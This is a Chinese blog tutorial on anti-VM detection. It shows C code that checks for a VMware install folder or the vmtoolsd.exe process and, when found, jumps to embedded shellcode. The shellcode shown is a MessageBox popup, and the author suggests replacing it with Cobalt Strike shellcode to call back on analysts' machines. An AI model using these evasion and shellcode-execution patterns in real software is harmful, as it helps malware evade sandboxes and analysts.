Drunkmars's Blog

一种简单的反虚拟机调试方法

字数统计: 1k阅读时长: 5 min
2021/07/05 Share

今天在写LoadPE模块遍历的时候偶然看到了一个函数判断路径是否存在,正好也在用CreateToolhelp32Snapshot这个api进行进程遍历,初步的尝试一下反虚拟机调试的实现。

目标

在实战过程中恶意程序为了防止自己不被调试,会使用到反沙箱技术。因为技术有限,这里就先实现一个对于虚拟机的反调试技术。目标是判断是否在虚拟机中运行,若在虚拟机中运行则弹窗并终止进程。

根据文件路径

查阅资料后发现如果使用虚拟机,一般的路径都为(在没有修改过的情况下)

1
C:\Program Files\VMware

image-20210705093950274

那么第一种反虚拟机的方式就是通过判断C盘目录下是否有这个文件夹,这里就用到了一个PathIsDirectory函数

1
2
3
4
5
BOOL PathIsDirectory(
LPCTSTR pszPath
);
// Header: Declared in Shlwapi.h.
// Import Library: Shlwapi.lib.
  • pszPath
    [in] Pointer to a null-terminated string of maximum length MAX_PATH that contains the path to verify.

使用PathIsDirectory函数判断是否存在虚拟机的路径,若存在则弹窗

1
if (PathIsDirectory("C:\\Program Files\\VMware"))

然后就是定义一个shellcode,若存在路径则弹窗

1
2
3
4
5
__asm{
lea eax, shellcode;
push eax;
ret;
}

完整代码如下,这里shellcode我写的是failwest

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#include "stdafx.h"
#include <Windows.h>
#include "shlwapi.h"
#pragma comment(lib, "shlwapi.lib")

char shellcode[] =
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6c\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8";

int main(int argc, CHAR* argv[])
{
if (PathIsDirectory("C:\\Program Files\\VMware"))
{
__asm{
lea eax, shellcode;
push eax;
ret;
}

}
return 0;
}

实现效果如下所示

image-20210705094734652

这里思考了一下,弄个弹窗出来过于明显,想起了cs有c的shellcode,那么可以把shellcode换成cs的,若在虚拟机中调试则直接回连cs上线,可以作为一个反制的手段

根据进程信息

这里在查看几个虚拟机后发现vm的默认进程有vmtoolsd.exevmacthlp.exe,这里直接判断进程是否存在即可起到反调试的效果

image-20210705103024033

通过CreateToolhelp32Snapshot这个API来拍摄进程快照,再比对PROCESSENTRY32 中的szExeFile与进程名是否相同即可

实现代码如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
char shellcode[] =
"\xfc\x68\x6a\x0a\x38\x1e\x68\x63\x89\xd1\x4f\x68\x32\x74\x91\x0c"
"\x8b\xf4\x8d\x7e\xf4\x33\xdb\xb7\x04\x2b\xe3\x66\xbb\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xd2\x64\x8b\x5a\x30\x8b\x4b\x0c\x8b"
"\x49\x1c\x8b\x09\x8b\x69\x08\xad\x3d\x6a\x0a\x38\x1e\x75\x05\x95"
"\xff\x57\xf8\x95\x60\x8b\x45\x3c\x8b\x4c\x05\x78\x03\xcd\x8b\x59"
"\x20\x03\xdd\x33\xff\x47\x8b\x34\xbb\x03\xf5\x99\x0f\xbe\x06\x3a"
"\xc4\x74\x08\xc1\xca\x07\x03\xd0\x46\xeb\xf1\x3b\x54\x24\x1c\x75"
"\xe4\x8b\x59\x24\x03\xdd\x66\x8b\x3c\x7b\x8b\x59\x1c\x03\xdd\x03"
"\x2c\xbb\x95\x5f\xab\x57\x61\x3d\x6a\x0a\x38\x1e\x75\xa9\x33\xdb"
"\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6c\x8b\xc4\x53\x50\x50"
"\x53\xff\x57\xfc\x53\xff\x57\xf8";

{
DWORD ret = 0;

HWND hListModules;

HANDLE hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);

if (hSnapshot == INVALID_HANDLE_VALUE)
{
return FALSE;
}

PROCESSENTRY32 pe32;
pe32.dwSize = sizeof(pe32); //初始化空间
BOOL pr = Process32First(hSnapshot, &pe32); //快照句柄&指向PROCESSENTRY32的指针

while(pr)
{
if (strcmp(pe32.szExeFile, "vmtoolsd.exe")== 0) // if (strcmp(pe32.szExeFile, "vmacthlp.exe")==0)
{
__asm
{
lea eax,shellcode;
jmp eax;
}
return TRUE;
}
pr = Process32Next(hSnapshot, &pe32);
}
CloseHandle(hSnapshot);
}
CATALOG
  1. 1. 目标
  2. 2. 根据文件路径
  3. 3. 根据进程信息